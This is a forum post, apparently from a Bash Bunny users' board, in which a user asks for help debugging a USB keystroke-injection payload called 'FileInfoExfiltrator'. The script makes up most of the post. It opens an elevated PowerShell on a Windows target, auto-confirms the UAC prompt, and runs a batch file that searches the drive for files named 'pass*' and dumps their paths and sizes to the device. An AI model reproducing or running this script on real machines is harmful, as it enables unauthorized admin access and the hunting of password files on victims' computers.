Jump to content

Script not running


A_SarcasticGuy

Recommended Posts

So, I decided to try and write a script that can be used for recon, to find files with a specific phrase within their name and exfil the full path, file name and file size to the Bunny, however when I try to run the script, it doesn't even create the directory to store the file in and for some reason the LED blinks green...

#!/bin/bash

#Title: FileInfoExfiltrator
#Author: A_SarcasticGuy
#Version: 1.0
#Target: Windows

#Runs Powershell as Admin then scans (default "c:\") for all files beginning with a #specific phrase (default "pass*") and dumps the #full and relative paths and file size to a text file.

LED B

#Create dump directory
LOOTDIR=/loot/exfil

mkdir -p $LOOTDIR

LED R

#Source bunny_helpers.sh to source SWITCH_POSITION

source bunny_helpers.sh

ATTACKMODE HID STORAGE

LED G 

#Launch Powershell as Admin

Q GUI r
Q DELAY 100
Q STRING powershell Start-Process powershell -Verb RunAs
Q ENTER

#Bypass UAC

Q DELAY 500
Q ALT y
Q ENTER
Q DELAY 500

LED B 

#Start p.bat

Q STRING ".((gwmi win32_volume -f 'label='BashBunny''').Name+'payloads/'
Q STRING $SWITCH_POSITION 
Q STRING '/p.bat')"
Q ENTER

#Wait for p.bat to finish

LED R G B
Q DELAY 3000
Q STRING exit
Q ENTER

sync 

LED G 

The p.bat file works perfectly fine (or at least from what I an tell by testing it manually), it is just confusing as to why the LED is blinking green (I really have made sure that I have the right switch selected). Any ideas?

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...